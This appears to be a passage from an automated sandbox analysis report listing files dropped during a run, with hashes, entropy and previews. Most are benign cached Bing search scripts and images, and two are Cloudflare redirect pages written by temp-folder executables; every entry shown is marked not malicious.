SHA1:	1890E62ABDFF4D2DD0A66E8A10BF5429440A50EE
SHA-256:	97785743A5FFC303FF8B7B465CD12AF8403F7EED2B2D19687E118E2621059741
SHA-512:	88555E4C500A6B416E8A8E783497B1F6925EEAF708991080E3776757102D9D522CA4830CE924ACA23EC55C579AAC5CFCA7116343236FE8BF8A13FB2DFBD104AD
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:40:12....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;...........................................................................................!e."E.T....!......S-C`!..bB.e.J2.z..:<....9.=.[....... .l..Rwy...X..s..u....!.a gNe..+......r...!..-8ZX%..!.e..e../.]..e.vk.R0._;.\|..<hE...l..i..,.s.Ec.e.G..T....\|.s..K..............+.\|.q.=..1r..$vSb..^q.(hk/..w8...;.v..p:.....C.k.....q.(.M..M.....}q.r+...N.....#.xK.O.....Ci.S=s...}ea[..>MC4.zN;w.Z.%...g.....jo:.g..L.7.......K3...oa.}.=3.<No.\|l..q...#Iszt.z..g..%...z..m.....q....t.L%.\Xc..r:.a...........s{.A..=.z%.W....y}}..W..2......^..s..^...R.$..K..E'M........c.[..Buhvu....H...7N.=...o\|...Z[\.:.=..3.......jP...k....p.....r. ...!R.z2....`T.......H.*k,..`.@..$P@G...(....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\JxCc1B9rHyCEyBtdN16oEeUaxWc[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2014), with no line terminators
Category:	dropped
Size (bytes):	2016
Entropy (8bit):	5.3161096027675105
Encrypted:	false
SSDEEP:	48:bnXL8sjfZ/Fslrgj3rzIRlK0KqoLi7XSOLFTt+jCz1T9XNZTs3Gan/An0:bnoshqlMQRlZTolKOEXNZsWan/An0
MD5:	D807DBBB6EE3A78027DC7075E0B593FF
SHA1:	27109CD41F6B1F2084C81B5D375EA811E51AC567
SHA-256:	0ACDCE370092C141B0C6617ED6E2163F04BB9B93D3213B62C2BC7A46FE0243C7
SHA-512:	E037DFC31D595B459660FE7D938EEDB4F43D208D247174EE8D6FD0D125F211142CD73497E4601893CECB6F565B7E2E7815CE416D72BB95504D3F277E4E806D11
Malicious:	false
Preview:	var SerpKeyboardNavigation;(function(){function c(){h=_d.activeElement;n=null;u=null;e=!1;t=-1;nt();u=_w.NavSelector&&NavSelector(!1)}function p(){v();n=null}function w(i){var e,h,o;i&&(e=_d.activeElement,h=s&&e&&e.className&&e.className.indexOf("feedback-binded")!==-1,i.keyCode==r.Tab&&s&&(f("TOP"),s=!1),u&&e&&e.className!=="b_searchbox"&&!h&&(i.keyCode==r.Enter?(n=null,f(t==-1?"EN":"EE",t)):b(i)&&(o=k(i.keyCode),o!==-1&&o!==t&&(tt(o),sj_pd(i)))))}function f(n,t){sj_log("CI.SerpKeyboardNav",n,t?t.toString():"")}function b(t){var i,r=(i=_d.querySelector("#b_sydConvCont cib-serp"))===null\|\|i===void 0?void 0:i.getAttribute("mode");return n\|\|h==_d.activeElement?t.altKey\|\|t.ctrlKey?!1:r&&["conversation","notebook"].includes(r)?!1:!0:!1}function k(n){if(n===r.Tab)return d();if(n===r.Down\|\|n===r.Up){var t=document.activeElement;return t&&(t.tagName.toLowerCase()==="select"\|\|t.tagName.toLowerCase()==="input")?-1:g(n===r.Down)}return-1}function d(){var i=-1;return n?(v(),e=!0,t=-1,f("TO")):(i=

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\KC_nX2_tPPyFvVw1RK20Yu1FyDk[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	726
Entropy (8bit):	4.636787858533541
Encrypted:	false
SSDEEP:	12:tbH41nlcWYiB1+Xl0ML2t1iOfEmmgaUEUZQ6nMAIPWSxs4yPISEIe9t8aayPISEx:t741nTYifqLL2+O7mgaxSQ6MFnE3nkO
MD5:	6601E4A25AB847203E1015B32514B16C
SHA1:	282FE75F6FED3CFC85BD5C3544ADB462ED45C839
SHA-256:	6E5D3FFF70EEC85FF6D42C84062076688CB092A3D605F47260DBBE6B3B836B21
SHA-512:	305C325EAD714D7BCBD25F3ACED4D7B6AED6AE58D7D4C2F2DFFCE3DFDEB0F427EC812639AD50708EA08BC79E4FAD8AC2D9562B142E0808936053715938638B7C
Malicious:	false
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16">.. <path d="M0 0h16v16h-16v-16z" fill="none"/>.. <path fill="#007DAA" d="M11 4h4l-5-4v3c0 .552.447 1 1 1zm-3-1v-3h-4.5c-.828 0-1.5.672-1.5 1.5v13c0 .828.672 1.5 1.5 1.5h10c.828 0 1.5-.672 1.5-1.5v-8.5h-4c-1.654 0-3-1.346-3-3zm4.707 10.707c-.181.181-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293s.293.431.293.707-.112.526-.293.707zm0-5.414c.181.181.293.431.293.707s-.112.526-.293.707-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293z"/>..</svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\Kc_oYjlyLU9K8HxJTWdgkolqhgA[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (357), with no line terminators
Category:	dropped
Size (bytes):	357
Entropy (8bit):	5.100320804030099
Encrypted:	false
SSDEEP:	6:2LGXTMkCDpk6CSVKvxpKv8Ed7fxu7hJRJeGMYS+ePekKfT32PV9m+8mq1mqJFO:2QVlY8EbgRUGhS+eTKb2PVESq8qrO
MD5:	2DF9793CF020A37C88178BE84311427A
SHA1:	29CFE86239722D4F4AF07C494D676092896A8600
SHA-256:	A69D257EEE41E843881D548D2E4EE5A0727B889AB22BFFDAA8ED1074E802BCC6
SHA-512:	E9A35EC1E466FEB3E273FB991A3282BA1C45FD0EACEA956E9821914CC4261377684B062BDE888EBF5767BBC055DB191DC14E00AF8037B5607449C06E5D2DD082
Malicious:	false
Preview:	(function(){function r(n){if(n&&(i=0),!(i>60)){i++;var u=_w.CursorProgress\|\|_w.CursorProgressFull;u&&u.bind();t&&sb_ct(t);t=sb_st(r,1e3)}}function n(){r(!0)}var t=null,i=0;n();typeof sj_be!="undefined"&&sj_be(_w,"load",n);typeof sj_evt!="undefined"&&(sj_evt.bind("onP1",n),sj_evt.bind("onP1Lazy",n),sj_evt.bind("ajaxReady",n),sj_evt.bind("ajax.load",n))})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\MTPUE7VE.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	167
Entropy (8bit):	4.43745738033235
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLGWbRIwcWWGu:q43tISl6kXiMIWSU6XlI55bRIpfGu
MD5:	0104C301C5E02BD6148B8703D19B3A73
SHA1:	7436E0B4B1F8C222C38069890B75FA2BAF9CA620
SHA-256:	446A6087825FA73EADB045E5A2E9E2ADF7DF241B571228187728191D961DDA1F
SHA-512:	84427B656A6234A651A6D8285C103645B861A18A6C5AF4ABB5CB4F3BEB5A4F0DF4A74603A0896C7608790FBB886DC40508E92D5709F44DCA05DD46C8316D15BF
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>cloudflare</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\MWgq_OYohQuMsx-qjpxMXsnruVc[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	226
Entropy (8bit):	4.923112772413901
Encrypted:	false
SSDEEP:	6:2LGfGIEW65JcYCgfkF2/WHRMB58IIR/QxbM76Bhl:2RWIyYCwk4/EMB5ZccbM+B/
MD5:	A5363C37B617D36DFD6D25BFB89CA56B
SHA1:	31682AFCE628850B8CB31FAA8E9C4C5EC9EBB957
SHA-256:	8B4D85985E62C264C03C88B31E68DBABDCC9BD42F40032A43800902261FF373F
SHA-512:	E70F996B09E9FA94BA32F83B7AA348DC3A912146F21F9F7A7B5DEEA0F68CF81723AB4FEDF1BA12B46AA4591758339F752A4EBA11539BEB16E0E34AD7EC946763
Malicious:	false
Preview:	(function(n,t,i){if(t){var r=!1,f=function(){r\|\|(r=!0,typeof wlc!="undefined"&&wlc(sj_evt,sj_cook.set,wlc_t))},u=function(){setTimeout(f,t)};n.bind("onP1",function(){i?n.bind("aad:signedout",u):u()},1)}})(sj_evt,wlc_d,wlc_wfa)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\No5xIZMVh9KdmI4bjLD9p4Xl0Ys[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1587), with no line terminators
Category:	dropped
Size (bytes):	1589
Entropy (8bit):	5.24528911504239
Encrypted:	false
SSDEEP:	48:KyskFELbJnSYVtXpQyL93NzpGaQJWA6vrIhf7:KybibJnSE5aU93HGaQJWAiIh
MD5:	CB027BA6EB6DD3F033C02183B9423995
SHA1:	368E7121931587D29D988E1B8CB0FDA785E5D18B
SHA-256:	04A007926A68BB33E36202EB27F53882AF7FD009C1EC3AD7177FBA380A5FB96F
SHA-512:	6A575205C83B1FC3BFAC164828FBDB3A25EAD355A6071B7D443C0F8AB5796FE2601C48946C2E4C9915E08AD14106B4A01D2FCD534D50EA51C4BC88879D8BEC8D
Malicious:	false
Preview:	var wln=wln\|\|"",Identity;(function(n){function i(n){n.style.display="none";n.setAttribute("aria-hidden","true")}function r(n){n.style.display="inline-block";n.setAttribute("aria-hidden","false")}var u,t;n&&n.sglid&&n.setLoginPreference&&sj_be&&sj_cook&&sj_evt&&_d&&typeof _d.querySelectorAll!="undefined"&&(u=function(n){var i=n.getAttribute("data-a"),t=n.getAttribute("data-p");i==="false"&&t!=null&&sj_be(n,"click",function(){sj_cook.set("SRCHUSR","POEX",t,!0,"/")})},sj_evt.bind("identityHeaderShown",function(){var n=!1;sj_be(_ge("id_l"),"click",function(){var i,t;if(!n){for(i=_d.querySelectorAll(".b_imi"),t=0;t<i.length;t++)u(i[t]);n=!0}})},!0));sj_evt&&n&&(t=function(t){var h;if(t==null\|\|t.idp!=="orgid"\|\|(h=n.wlProfile(),h==null\|\|h.name==null\|\|t.name!=null)){var e=_ge("id_n"),u=_ge("id_p"),o=_ge("id_s"),s=_ge("id_a"),f=t?t.displayName:wln,c=t?t.img:null,l=t?t.idp:null,a=t?t.cid:null;e&&s&&(a\|\|f)?(u&&c&&(u.title=f,u.src=c,r(u)),f.length>10&&(f=f.substring(0,10).replace(/\s+$/,"")+".")

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\P2A3uGO2O64dixlm8-ndJ5_iyo4[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (2169), with no line terminators
Category:	dropped
Size (bytes):	2169
Entropy (8bit):	5.302641155413102
Encrypted:	false
SSDEEP:	48:1cLdSF8cWOr7dDv8NQtaPVcbnAhaNaswAUbDdDLpmhMi7WViUCS7SDDRb:1cZSDBdDv8saMPgHfLEM8Xb3Rb
MD5:	61533293909D97252C70E82BD574BA68
SHA1:	7408DD25C19AE7BAF954074576A2F73FBB174310
SHA-256:	99EC639C3DDC51E7882FAB9C08EC5A905B49F4B04D1C47B6DF40F3924E81CD8E
SHA-512:	BF8F8879D1CABD6B8B9C6CAF9FC0A6F68362FC62328112636D78A15A4C08B35EA52E1DD8048715F2BD0E945BB0D2D8D7655E68A065942E89316E303BB536BB41
Malicious:	false
Preview:	(function(){function l(n){return parseFloat((_w.getComputedStyle?_w.getComputedStyle(n):n.currentStyle).width)}var a="results_container",t="sb_shr sw_conv",v="sb_shr sw_conva",y={"ans2 ans_n2 ans_msnO":1},i={"sb_h3 cttl":1},r="sb_ltw",p="sb_ans",n=[],u=!!_G.SPSA,f=u?{ansC:1,results:1,sa_bop:1}:{results:1},e=!1,o=20,w=-28,b=function(){if(typeof _d.querySelector!="undefined"){var n=".sb_shr{left:"+w+o+"px;width:0;float:right;margin-left:5px}.sb_ltw{margin:0 0 0 -55px;clear:both;float:left;display:block;width:50px}.pi_tc{float:right;}";sj_ic(n);sj_evt.bind("sp.enter_conv",g,1);sj_evt.bind("sp.leave_conv",h,1);sj_evt.bind("sp.submit_conv",h)}},k=function(){var u,o,i,n,s,r,t,h;if(!e){for(u=_ge(a),o=u?u.childNodes:[],i=0;i<o.length;i++)if(n=o[i],n.id&&f[n.id]\|\|n.className&&f[n.className])for(s=n?n.childNodes:[],r=0;r<s.length;r++)for(t=s[r].firstChild;t;)h=t.nodeType,h!==3&&h!==8&&d(t),t=t.nextSibling;e=!0}},d=function(n){var i=n.className,t;if(i&&i.indexOf(p)>-1){if(u)for(t=n.firstChild.fir

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\P2A3uGO2O64dixlm8-ndJ5_iyo4[2].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (2169), with no line terminators
Category:	dropped
Size (bytes):	2169
Entropy (8bit):	5.302641155413102
Encrypted:	false
SSDEEP:	48:1cLdSF8cWOr7dDv8NQtaPVcbnAhaNaswAUbDdDLpmhMi7WViUCS7SDDRb:1cZSDBdDv8saMPgHfLEM8Xb3Rb
MD5:	61533293909D97252C70E82BD574BA68
SHA1:	7408DD25C19AE7BAF954074576A2F73FBB174310
SHA-256:	99EC639C3DDC51E7882FAB9C08EC5A905B49F4B04D1C47B6DF40F3924E81CD8E
SHA-512:	BF8F8879D1CABD6B8B9C6CAF9FC0A6F68362FC62328112636D78A15A4C08B35EA52E1DD8048715F2BD0E945BB0D2D8D7655E68A065942E89316E303BB536BB41
Malicious:	false
Preview:	(function(){function l(n){return parseFloat((_w.getComputedStyle?_w.getComputedStyle(n):n.currentStyle).width)}var a="results_container",t="sb_shr sw_conv",v="sb_shr sw_conva",y={"ans2 ans_n2 ans_msnO":1},i={"sb_h3 cttl":1},r="sb_ltw",p="sb_ans",n=[],u=!!_G.SPSA,f=u?{ansC:1,results:1,sa_bop:1}:{results:1},e=!1,o=20,w=-28,b=function(){if(typeof _d.querySelector!="undefined"){var n=".sb_shr{left:"+w+o+"px;width:0;float:right;margin-left:5px}.sb_ltw{margin:0 0 0 -55px;clear:both;float:left;display:block;width:50px}.pi_tc{float:right;}";sj_ic(n);sj_evt.bind("sp.enter_conv",g,1);sj_evt.bind("sp.leave_conv",h,1);sj_evt.bind("sp.submit_conv",h)}},k=function(){var u,o,i,n,s,r,t,h;if(!e){for(u=_ge(a),o=u?u.childNodes:[],i=0;i<o.length;i++)if(n=o[i],n.id&&f[n.id]\|\|n.className&&f[n.className])for(s=n?n.childNodes:[],r=0;r<s.length;r++)for(t=s[r].firstChild;t;)h=t.nodeType,h!==3&&h!==8&&d(t),t=t.nextSibling;e=!0}},d=function(n){var i=n.className,t;if(i&&i.indexOf(p)>-1){if(u)for(t=n.firstChild.fir

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\T3t6V3azgG4BlSRcguR2ssuUOxQ[1].png

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 60 x 28, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.812007487462295
Encrypted:	false
SSDEEP:	24:2YvL3J/eQWCXbwIoGryAFXt3jwRDa9W3TH:Rv1NHUIbrzU3TH
MD5:	2AA8CAB3D7B05D1540A69E6DA11C916B
SHA1:	4F7B7A5776B3806E0195245C82E476B2CB943B14
SHA-256:	BE40B55ED2C02CA68A1527E8B50CB949FFF17EC444504F9ABCE98C97EBAD1738
SHA-512:	FEC6CD89DA1CC4630A229567101F83D979860F6CDF34FEA00174052FDEE93F00F8F0AA489C565F6CD1BCEE3124DFCB1DCE9418FBA7B3983EF6F6946C8689B241
Malicious:	false
Preview:	.PNG........IHDR...<.........=P.D....IDATx..?LSA.......J(......YcY\.......%&n.XD....X...N..Q...US.IL...z.?.?.}..I.......~w....Jv..Q..........8M...6..%..X.u....\.f.X..>u.d..E.+b6.P4.].........W.}t..jc......^.....p.).".U.H...y...i...Fz......a`.,Gr.8XP.K3@./.U...+........d`.;...,...{.U.s.:...<O......~..'.8#{...5....9...../."S.....9...Nr<=.u57.?G.a.x......}.....6n=W.3}...(.QV....y..R..G`.J...5....h.R.Z).:8.../5.%&..9..M...jQ.V?..[-E...........-....1.[!....)Ml].i.I. 8.).A.aiE./0.C'.P...v.....e(.....;...E...i..D....ea.#.3)..h..&,...Y..$-G......G...IY..T...mP.5?l...5w..t....m.O6........o(...f.k..Q5.....A.....S.......s.D..R.....^..{o..~..a...X....Z.I..Z./m...$....\..2O.$%.3;....)..m...}h.l....&.OPq.k......T.:q.E.p"".....{V.$/4a9.G.4.E..1..{... Y.....:3.9.&m..Z...k.'........v.\.e...y+.L..%..{..8..E..R&....[I.P......0.u/#.......f......e....H'.v..qp..J.w..}e..,..@....7Sjd.$aW......o.'R...L.#...0....K..rT`>>......Y2..,...!.......T

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\T3t6V3azgG4BlSRcguR2ssuUOxQ[2].png

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 60 x 28, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.812007487462295
Encrypted:	false
SSDEEP:	24:2YvL3J/eQWCXbwIoGryAFXt3jwRDa9W3TH:Rv1NHUIbrzU3TH
MD5:	2AA8CAB3D7B05D1540A69E6DA11C916B
SHA1:	4F7B7A5776B3806E0195245C82E476B2CB943B14
SHA-256:	BE40B55ED2C02CA68A1527E8B50CB949FFF17EC444504F9ABCE98C97EBAD1738
SHA-512:	FEC6CD89DA1CC4630A229567101F83D979860F6CDF34FEA00174052FDEE93F00F8F0AA489C565F6CD1BCEE3124DFCB1DCE9418FBA7B3983EF6F6946C8689B241
Malicious:	false
Preview:	.PNG........IHDR...<.........=P.D....IDATx..?LSA.......J(......YcY\.......%&n.XD....X...N..Q...US.IL...z.?.?.}..I.......~w....Jv..Q..........8M...6..%..X.u....\.f.X..>u.d..E.+b6.P4.].........W.}t..jc......^.....p.).".U.H...y...i...Fz......a`.,Gr.8XP.K3@./.U...+........d`.;...,...{.U.s.:...<O......~..'.8#{...5....9...../."S.....9...Nr<=.u57.?G.a.x......}.....6n=W.3}...(.QV....y..R..G`.J...5....h.R.Z).:8.../5.%&..9..M...jQ.V?..[-E...........-....1.[!....)Ml].i.I. 8.).A.aiE./0.C'.P...v.....e(.....;...E...i..D....ea.#.3)..h..&,...Y..$-G......G...IY..T...mP.5?l...5w..t....m.O6........o(...f.k..Q5.....A.....S.......s.D..R.....^..{o..~..a...X....Z.I..Z./m...$....\..2O.$%.3;....)..m...}h.l....&.OPq.k......T.:q.E.p"".....{V.$/4a9.G.4.E..1..{... Y.....:3.9.&m..Z...k.'........v.\.e...y+.L..%..{..8..E..R&....[I.P......0.u/#.......f......e....H'.v..qp..J.w..}e..,..@....7Sjd.$aW......o.'R...L.#...0....K..rT`>>......Y2..,...!.......T

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\VeYpfzSZtJYcjpVvfwiIaM1Zx2k[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (684), with no line terminators
Category:	dropped
Size (bytes):	684
Entropy (8bit):	5.166363591063823
Encrypted:	false
SSDEEP:	12:2Q12lkSF3mVwl/BJWhuSpOYkM3+Pu1w2E1fNPrQ5uj5lD+QgAjTYCXPrQuN:2Q1QkSFr5BJupODpfPrQ8Dn/XPrQuN
MD5:	C1D04951E98B892931D4C2BC34555057
SHA1:	55E6297F3499B4961C8E956F7F088868CD59C769
SHA-256:	7C317940549467B3210D2F72DA000BAC3481ABFDE3AC5358D398EB64DCBC8532
SHA-512:	D427487C00AF5E8D9DB222F8A01521A5C8646AE8E459D517443DAC8EF2DBEC2DDEA91877B095B82CF3E52031E1650C7360811ED8A06E02F85E3517974D36AD96
Malicious:	false
Preview:	(function(){var n,i=(new Date).getTime(),t=_G!==undefined&&_G.RTO!==undefined?_G.RTO:null,r=((n=_G===null\|\|_G===void 0?void 0:_G.EF)===null\|\|n===void 0?void 0:n.infrefcflog)===1;t!=null&&(window.history.scrollRestoration="auto",document.addEventListener("visibilitychange",function(){if(document.visibilityState==="visible"&&window.location.href.indexOf("/search")>=0&&(new Date).getTime()-i>t&&(Log&&Log.Log&&Log.Log("NTRef","DayRefresh","Active"),!r)){var n=window.location.href+(window.location.href.indexOf("dayref=1")<0?"&dayref=1":"");window.location.href=n}}),typeof setTimeout!="undefined"&&setTimeout(function(){Log&&Log.Log&&Log.Log("NTRef","DayRefresh","Inactive")},t))})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\VeYpfzSZtJYcjpVvfwiIaM1Zx2k[2].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (684), with no line terminators
Category:	dropped
Size (bytes):	684
Entropy (8bit):	5.166363591063823
Encrypted:	false
SSDEEP:	12:2Q12lkSF3mVwl/BJWhuSpOYkM3+Pu1w2E1fNPrQ5uj5lD+QgAjTYCXPrQuN:2Q1QkSFr5BJupODpfPrQ8Dn/XPrQuN
MD5:	C1D04951E98B892931D4C2BC34555057
SHA1:	55E6297F3499B4961C8E956F7F088868CD59C769
SHA-256:	7C317940549467B3210D2F72DA000BAC3481ABFDE3AC5358D398EB64DCBC8532
SHA-512:	D427487C00AF5E8D9DB222F8A01521A5C8646AE8E459D517443DAC8EF2DBEC2DDEA91877B095B82CF3E52031E1650C7360811ED8A06E02F85E3517974D36AD96
Malicious:	false
Preview:	(function(){var n,i=(new Date).getTime(),t=_G!==undefined&&_G.RTO!==undefined?_G.RTO:null,r=((n=_G===null\|\|_G===void 0?void 0:_G.EF)===null\|\|n===void 0?void 0:n.infrefcflog)===1;t!=null&&(window.history.scrollRestoration="auto",document.addEventListener("visibilitychange",function(){if(document.visibilityState==="visible"&&window.location.href.indexOf("/search")>=0&&(new Date).getTime()-i>t&&(Log&&Log.Log&&Log.Log("NTRef","DayRefresh","Active"),!r)){var n=window.location.href+(window.location.href.indexOf("dayref=1")<0?"&dayref=1":"");window.location.href=n}}),typeof setTimeout!="undefined"&&setTimeout(function(){Log&&Log.Log&&Log.Log("NTRef","DayRefresh","Inactive")},t))})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\XI3Z83KW.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	167
Entropy (8bit):	4.43745738033235
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLGWbRIwcWWGu:q43tISl6kXiMIWSU6XlI55bRIpfGu
MD5:	0104C301C5E02BD6148B8703D19B3A73
SHA1:	7436E0B4B1F8C222C38069890B75FA2BAF9CA620
SHA-256:	446A6087825FA73EADB045E5A2E9E2ADF7DF241B571228187728191D961DDA1F
SHA-512:	84427B656A6234A651A6D8285C103645B861A18A6C5AF4ABB5CB4F3BEB5A4F0DF4A74603A0896C7608790FBB886DC40508E92D5709F44DCA05DD46C8316D15BF
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>cloudflare</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\XqNZeeOsUYKR5NcXn0F5cf0NyHQ[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1333), with no line terminators
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	5.118534997873121
Encrypted:	false
SSDEEP:	24:PlQiztVfI2TdzmkUamV2an3pQ8TIOKEKzbkzER8zXOvD6AYlNyUEr040x0e0v0tn:NQ6rGNIyAbAEuzYDCN2rnWJQSya
MD5:	EEE13BD45C83C7611E9E36689E385FBD
SHA1:	5EA35979E3AC518291E4D7179F417971FD0DC874
SHA-256:	E1DCAF1B7BB92C803802ABAB8D544D277ABF34C06693BD2B83BB598C0DBC7496
SHA-512:	1361145E4C71FC176F76AE84D96F057F8DFA7461FB4926B779F3C059B7C6C8E4BCEFA9B883309D3C3AE6895570F293BF6EEC5374C242C48019CBD6202D4D0373
Malicious:	false
Preview:	var CaptionClickable;(function(){function t(){for(var i,r=document.querySelectorAll(".b_caption"),u=document.querySelectorAll(".b_imgcap_altitle"),t=0;t<r.length;t++)i=r[t],i&&n(i);for(t=0;t<u.length;t++)i=u[t],i&&n(i)}function n(n){var t=n.previousElementSibling,f,e,o,u,r,s;if(t&&(f=null,t.tagName==="H2"\|\|t.querySelector("h2")?(e=t.tagName==="H2"?t:t.querySelector("h2"),e&&e.querySelector("a")&&(f=e)):t.tagName==="H3"\|\|t.querySelector("h3")?(o=t.tagName==="H3"?t:t.querySelector("h3"),o&&o.querySelector("a")&&(f=o)):f=n.querySelector("h2, h3"),u=n.querySelector("p"),f&&u&&i(u.classList)&&(r=f.querySelector("a"),r))){if(u.addEventListener("mouseover",function(){r&&(r.style.textDecoration="underline",n.style.cursor="pointer")}),u.addEventListener("mouseout",function(){r&&(r.style.textDecoration="",n.style.cursor="")}),s=u.parentElement,s&&s.tagName==="A")return;u.addEventListener("click",function(){if(r){_w.si_T&&_w.si_T(r.getAttribute("h"));var n=window.getSelection();(n===null\|\|n===voi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\XqNZeeOsUYKR5NcXn0F5cf0NyHQ[2].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1333), with no line terminators
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	5.118534997873121
Encrypted:	false
SSDEEP:	24:PlQiztVfI2TdzmkUamV2an3pQ8TIOKEKzbkzER8zXOvD6AYlNyUEr040x0e0v0tn:NQ6rGNIyAbAEuzYDCN2rnWJQSya
MD5:	EEE13BD45C83C7611E9E36689E385FBD
SHA1:	5EA35979E3AC518291E4D7179F417971FD0DC874
SHA-256:	E1DCAF1B7BB92C803802ABAB8D544D277ABF34C06693BD2B83BB598C0DBC7496
SHA-512:	1361145E4C71FC176F76AE84D96F057F8DFA7461FB4926B779F3C059B7C6C8E4BCEFA9B883309D3C3AE6895570F293BF6EEC5374C242C48019CBD6202D4D0373
Malicious:	false
Preview:	var CaptionClickable;(function(){function t(){for(var i,r=document.querySelectorAll(".b_caption"),u=document.querySelectorAll(".b_imgcap_altitle"),t=0;t<r.length;t++)i=r[t],i&&n(i);for(t=0;t<u.length;t++)i=u[t],i&&n(i)}function n(n){var t=n.previousElementSibling,f,e,o,u,r,s;if(t&&(f=null,t.tagName==="H2"\|\|t.querySelector("h2")?(e=t.tagName==="H2"?t:t.querySelector("h2"),e&&e.querySelector("a")&&(f=e)):t.tagName==="H3"\|\|t.querySelector("h3")?(o=t.tagName==="H3"?t:t.querySelector("h3"),o&&o.querySelector("a")&&(f=o)):f=n.querySelector("h2, h3"),u=n.querySelector("p"),f&&u&&i(u.classList)&&(r=f.querySelector("a"),r))){if(u.addEventListener("mouseover",function(){r&&(r.style.textDecoration="underline",n.style.cursor="pointer")}),u.addEventListener("mouseout",function(){r&&(r.style.textDecoration="",n.style.cursor="")}),s=u.parentElement,s&&s.tagName==="A")return;u.addEventListener("click",function(){if(r){_w.si_T&&_w.si_T(r.getAttribute("h"));var n=window.getSelection();(n===null\|\|n===voi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\YcdZrN0lmnUgmIw9DVi7TFol2H4[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	219
Entropy (8bit):	5.119404786158862
Encrypted:	false
SSDEEP:	6:2LGXh6BodmYWyXPBsw+SFsjRntLsMIxwCDrlT:2QBdoySw+YEOM8nlT
MD5:	33C123623267DDCCC3506DE4E71C105B
SHA1:	61C759ACDD259A7520988C3D0D58BB4C5A25D87E
SHA-256:	DDA145AF1F9D026E6C080B2D21FE7CA1CD46F4FB58DC1CAE1474C119B1E1FF2C
SHA-512:	0D0B40C625997D91D216DF9489D8D048047FC5179C264EEB77B8B1D28E5E11DFD633BE4B3AF07AFD96F9E0F526E5DD1BA97232AA6DE1B05A94FC60682321D151
Malicious:	false
